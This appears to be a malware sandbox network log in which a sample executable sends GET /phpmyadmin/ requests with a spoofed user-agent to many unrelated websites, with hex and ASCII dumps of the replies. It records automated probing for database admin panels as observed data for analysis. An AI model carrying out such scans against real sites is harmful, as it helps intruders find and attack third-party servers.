2023-11-26 05:59:30 UTC	379	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 32 39 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 4c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 6c 75 6d 61 72 75 6e 69 66 6f 72 6d 65 73 2e 63 6f 6d 2f 77 70 2d 6a 73 6f 6e 2f 3e 3b 20 72 65 6c 3d 22 68 74 74 70 73 3a 2f 2f 61 70 69 2e 77 2e 6f 72 67 2f 22 0d 0a 55 70 67 72 61 64 65 3a 20 68 32 2c 68 32 Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:29 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://lumaruniformes.com/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2
2023-11-26 05:59:30 UTC	7813	IN	Data Raw: 33 39 31 38 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 2d 4d 58 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 09 3c 74 69 74 6c 65 3e 4e 6f 20 73 65 20 65 6e 63 6f 6e 74 72 c3 b3 20 6c 61 20 70 c3 a1 67 69 6e 61 20 26 23 38 32 31 31 3b 20 4c 75 6d 61 72 20 55 6e 69 66 6f 72 6d 65 73 3c Data Ascii: 3918<!doctype html><html lang="es-MX"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><title>No se encontr la pgina – Lumar Uniformes<
2023-11-26 05:59:30 UTC	6809	IN	Data Raw: 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 65 6e 64 3a 20 30 3b 7d 62 6f 64 79 20 2e 69 73 2d 6c 61 79 6f 75 74 2d 66 6c 6f 77 20 3e 20 2e 61 6c 69 67 6e 63 65 6e 74 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 20 21 69 6d 70 6f 72 74 61 6e 74 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 62 6f 64 79 20 2e 69 73 2d 6c 61 79 6f 75 74 2d 63 6f 6e 73 74 72 61 69 6e 65 64 20 3e 20 2e 61 6c 69 67 6e 6c 65 66 74 7b 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 73 74 61 72 74 3a 20 30 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 65 6e 64 3a 20 32 65 6d 3b 7d 62 6f 64 79 20 2e 69 73 2d 6c 61 79 6f 75 74 2d 63 6f 6e 73 74 72 61 69 6e 65 64 20 3e 20 2e 61 6c 69 67 6e Data Ascii: ;margin-inline-end: 0;}body .is-layout-flow > .aligncenter{margin-left: auto !important;margin-right: auto !important;}body .is-layout-constrained > .alignleft{float: left;margin-inline-start: 0;margin-inline-end: 2em;}body .is-layout-constrained > .align
2023-11-26 05:59:30 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:30 UTC	8192	IN	Data Raw: 34 30 30 30 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6c 61 79 6f 75 74 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 6c 75 6d 61 72 75 6e 69 66 6f 72 6d 65 73 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 77 6f 6f 63 6f 6d 6d 65 72 63 65 2f 61 73 73 65 74 73 2f 63 73 73 2f 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6c 61 79 6f 75 74 2e 63 73 73 3f 76 65 72 3d 38 2e 32 2e 31 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 73 6d 61 6c 6c 73 63 72 65 65 6e 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 6c 75 6d 61 Data Ascii: 4000<link rel='stylesheet' id='woocommerce-layout-css' href='https://lumaruniformes.com/wp-content/plugins/woocommerce/assets/css/woocommerce-layout.css?ver=8.2.1' media='all' /><link rel='stylesheet' id='woocommerce-smallscreen-css' href='https://luma
2023-11-26 05:59:30 UTC	8198	IN	Data Raw: 75 6f 74 3b 3a 26 71 75 6f 74 3b 63 6c 61 73 73 69 63 26 71 75 6f 74 3b 7d 22 3e 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 6c 65 6d 65 6e 74 6f 72 2d 77 69 64 67 65 74 2d 77 72 61 70 20 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 2d 70 6f 70 75 6c 61 74 65 64 22 3e 0a 09 09 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 20 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 2d 39 33 31 31 30 35 61 20 65 6c 65 6d 65 6e 74 6f 72 2d 6e 61 76 2d 6d 65 6e 75 2d 2d 64 72 6f 70 64 6f 77 6e 2d 74 61 62 6c 65 74 20 65 6c 65 6d 65 6e 74 6f 72 2d 6e 61 76 2d 6d 65 6e 75 5f 5f 74 65 78 74 2d 61 6c 69 67 6e 2d 61 73 69 64 65 20 65 6c 65 6d 65 6e 74 6f 72 2d 6e 61 76 2d 6d 65 6e 75 2d 2d 74 6f 67 Data Ascii: uot;:"classic"}"><div class="elementor-widget-wrap elementor-element-populated"><div class="elementor-element elementor-element-931105a elementor-nav-menu--dropdown-tablet elementor-nav-menu__text-align-aside elementor-nav-menu--tog
2023-11-26 05:59:30 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:30 UTC	8192	IN	Data Raw: 66 61 63 0d 0a 39 39 38 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 73 6f 63 69 61 6c 2d 69 63 6f 6e 2d 66 6c 69 63 6b 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 36 33 64 63 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 73 6f 63 69 61 6c 2d 69 63 6f 6e 2d 66 6f 75 72 73 71 75 61 72 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 32 64 35 62 65 33 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 73 6f 63 69 61 6c 2d 69 63 6f 6e 2d 66 72 65 65 2d 63 6f 64 65 2d 63 61 6d 70 2c 2e 65 6c 65 6d 65 6e 74 6f 72 2d 73 6f 63 69 61 6c 2d 69 63 6f 6e 2d 66 72 65 65 63 6f 64 65 63 61 6d 70 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 36 34 30 30 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 73 6f 63 69 61 6c 2d 69 63 6f 6e 2d 67 69 74 68 75 62 7b 62 61 63 Data Ascii: fac998}.elementor-social-icon-flickr{background-color:#0063dc}.elementor-social-icon-foursquare{background-color:#2d5be3}.elementor-social-icon-free-code-camp,.elementor-social-icon-freecodecamp{background-color:#006400}.elementor-social-icon-github{bac
2023-11-26 05:59:30 UTC	5901	IN	Data Raw: 74 65 6d 22 3e 0a 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 65 6c 65 6d 65 6e 74 6f 72 2d 69 63 6f 6e 20 65 6c 65 6d 65 6e 74 6f 72 2d 73 6f 63 69 61 6c 2d 69 63 6f 6e 20 65 6c 65 6d 65 6e 74 6f 72 2d 73 6f 63 69 61 6c 2d 69 63 6f 6e 2d 69 6e 73 74 61 67 72 61 6d 20 65 6c 65 6d 65 6e 74 6f 72 2d 72 65 70 65 61 74 65 72 2d 69 74 65 6d 2d 36 31 33 35 66 62 33 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 0a 09 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 65 6c 65 6d 65 6e 74 6f 72 2d 73 63 72 65 65 6e 2d 6f 6e 6c 79 22 3e 49 6e 73 74 61 67 72 61 6d 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 09 3c 69 20 63 6c 61 73 73 3d 22 66 61 62 20 66 61 2d 69 6e 73 74 61 67 72 61 6d 22 3e 3c 2f 69 3e 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 3c 2f 73 70 Data Ascii: tem"><a class="elementor-icon elementor-social-icon elementor-social-icon-instagram elementor-repeater-item-6135fb3" target="_blank"><span class="elementor-screen-only">Instagram</span><i class="fab fa-instagram"></i></a></sp
2023-11-26 05:59:30 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	50971	116.202.203.176	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:29 UTC	175	OUT	GET /phpmyadmin/ HTTP/1.1 Host: eco-landeck.at Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:29 UTC	480	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 32 39 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 37 20 41 75 67 20 32 30 30 35 20 30 30 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 Data Ascii: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 26 Nov 2023 05:59:29 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeExpires: Wed, 17 Aug 2005 00:00:00 GMTCache-Control: no-store, no-cache, must-revalidate,
2023-11-26 05:59:29 UTC	1746	IN	Data Raw: 36 63 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 64 65 2d 64 65 22 20 6c 61 6e 67 3d 22 64 65 2d 64 65 22 20 64 69 72 3d 22 6c 74 72 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 2d 46 65 68 6c 65 72 3a 20 34 30 34 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 Data Ascii: 6c6<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="de-de" lang="de-de" dir="ltr"><head><title>404-Fehler: 404</title><meta

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	51486	78.128.62.138	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:29 UTC	175	OUT	GET /phpmyadmin/ HTTP/1.1 Host: integraledu.hr Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:29 UTC	290	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 32 39 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 69 6e 74 65 67 72 61 6c 65 64 75 2e 68 72 2f 70 68 70 6d 79 61 64 6d 69 6e 2f 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 61 78 2d 61 67 65 3d 36 30 30 0d 0a 45 78 70 69 72 65 73 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 39 3a 32 39 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 31 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 Data Ascii: HTTP/1.1 301 Moved PermanentlyDate: Sun, 26 Nov 2023 05:59:29 GMTServer: ApacheLocation: https://www.integraledu.hr/phpmyadmin/Cache-Control: max-age=600Expires: Sun, 26 Nov 2023 06:09:29 GMTContent-Length: 311Connection: closeContent-Type
2023-11-26 05:59:29 UTC	311	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 69 6e 74 65 67 72 61 6c 65 64 75 2e 68 72 2f 70 68 70 6d 79 61 64 6d 69 6e 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.integraledu.hr/phpmyadmin/">here</a>.</p><hr><address>Apache Ser

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	51000	185.230.63.107	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:29 UTC	177	OUT	GET /phpmyadmin/ HTTP/1.1 Host: linkan-group.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:29 UTC	834	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 32 39 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 6c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6c 69 6e 6b 61 6e 2d 67 72 6f 75 70 2e 63 6f 6d 2f 70 68 70 6d 79 61 64 6d 69 6e 0d 0a 73 74 72 69 63 74 2d 74 72 61 6e 73 70 6f 72 74 2d 73 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 36 30 30 0d 0a 78 2d 77 69 78 2d 72 65 71 75 65 73 74 2d 69 64 3a 20 31 37 30 30 39 37 38 33 36 39 2e 33 35 38 31 30 33 32 38 36 39 31 32 38 31 35 31 34 39 0d 0a 41 67 65 3a 20 30 0d Data Ascii: HTTP/1.1 301 Moved PermanentlyDate: Sun, 26 Nov 2023 05:59:29 GMTContent-Length: 0Connection: closelocation: https://www.linkan-group.com/phpmyadminstrict-transport-security: max-age=3600x-wix-request-id: 1700978369.358103286912815149Age: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	51774	185.54.192.125	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:29 UTC	174	OUT	GET /phpmyadmin/ HTTP/1.1 Host: talentius.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:29 UTC	443	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 32 39 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 4c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 74 61 6c 65 6e 74 69 75 73 2e 63 6f 6d 2f 77 70 2d 6a 73 6f 6e 2f 3e 3b 20 72 65 6c 3d 22 68 74 74 70 73 3a Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:29 GMTServer: Apache/2.4.52 (Ubuntu)Pragma: no-cacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://talentius.com/wp-json/>; rel="https:
2023-11-26 05:59:29 UTC	7749	IN	Data Raw: 31 65 63 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 2d 45 53 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a Data Ascii: 1ecc<!DOCTYPE html><html lang="es-ES" class="no-js"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="profile" href="http://gmpg.org/xfn/11"> <link rel="pingback" href="https:
2023-11-26 05:59:29 UTC	141	IN	Data Raw: 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 74 61 6c 65 6e 74 69 75 73 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 6a 71 75 65 72 79 2f 75 69 2f 77 69 64 67 65 74 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 31 2e 31 31 2e 34 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 Data Ascii: cript type='text/javascript' src='https://talentius.com/wp-includes/js/jquery/ui/widget.min.js?ver=1.11.4'></script><script type='text/javas
2023-11-26 05:59:29 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:29 UTC	8192	IN	Data Raw: 31 66 66 38 0d 0a 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 74 61 6c 65 6e 74 69 75 73 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 6a 71 75 65 72 79 2f 75 69 2f 6d 6f 75 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 31 2e 31 31 2e 34 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 74 61 6c 65 6e 74 69 75 73 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 6a 71 75 65 72 79 2f 75 69 2f 64 72 61 67 67 61 62 6c 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 31 2e 31 31 2e 34 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 Data Ascii: 1ff8cript' src='https://talentius.com/wp-includes/js/jquery/ui/mouse.min.js?ver=1.11.4'></script><script type='text/javascript' src='https://talentius.com/wp-includes/js/jquery/ui/draggable.min.js?ver=1.11.4'></script><script type='text/javascript' sr
2023-11-26 05:59:29 UTC	6	IN	Data Raw: 31 66 66 38 0d 0a Data Ascii: 1ff8
2023-11-26 05:59:29 UTC	8184	IN	Data Raw: 2d 69 74 65 6d 2d 32 39 34 22 20 63 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 20 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 75 73 74 6f 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 63 75 73 74 6f 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 32 39 34 22 3e 3c 61 20 63 6c 61 73 73 3d 22 70 61 67 65 2d 73 63 72 6f 6c 6c 22 20 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 6f 72 6d 61 63 69 6f 6e 2e 74 61 6c 65 6e 74 69 75 73 2e 63 6f 6d 2f 22 3e 41 43 43 45 53 4f 20 55 53 55 41 52 49 4f 3c 2f 61 3e 3c 2f 6c 69 3e 3c 2f 75 6c 3e 09 09 09 09 09 3c 64 69 76 3e 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 74 61 6c 65 6e 74 69 75 73 2e 63 6f 6d 2f 61 76 69 73 6f 2d 6c Data Ascii: -item-294" class="dropdown menu-item menu-item-type-custom menu-item-object-custom menu-item-294"><a class="page-scroll" target="_blank" href="http://formacion.talentius.com/">ACCESO USUARIO</a></li></ul><div><p><a href="http://talentius.com/aviso-l
2023-11-26 05:59:29 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:29 UTC	997	IN	Data Raw: 33 64 39 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 74 61 6c 65 6e 74 69 75 73 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 62 69 7a 6f 6e 65 2f 61 73 73 65 74 73 2f 6a 73 2f 6a 71 75 65 72 79 2e 70 61 72 61 6c 6c 61 78 2d 31 2e 31 2e 33 2e 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 74 61 6c 65 6e 74 69 75 73 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 62 69 7a 6f 6e 65 2f 61 73 73 65 74 73 2f 6a 73 2f 6a 71 75 65 72 79 2e 66 61 6e 63 79 62 6f 78 2e 6a 73 27 3e 3c 2f 73 63 72 69 70 74 Data Ascii: 3d9<script type='text/javascript' src='https://talentius.com/wp-content/themes/bizone/assets/js/jquery.parallax-1.1.3.js'></script><script type='text/javascript' src='https://talentius.com/wp-content/themes/bizone/assets/js/jquery.fancybox.js'></script

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	51781	192.96.211.44	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:29 UTC	183	OUT	GET /phpmyadmin/ HTTP/1.1 Host: prettypollycleaning.ae Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
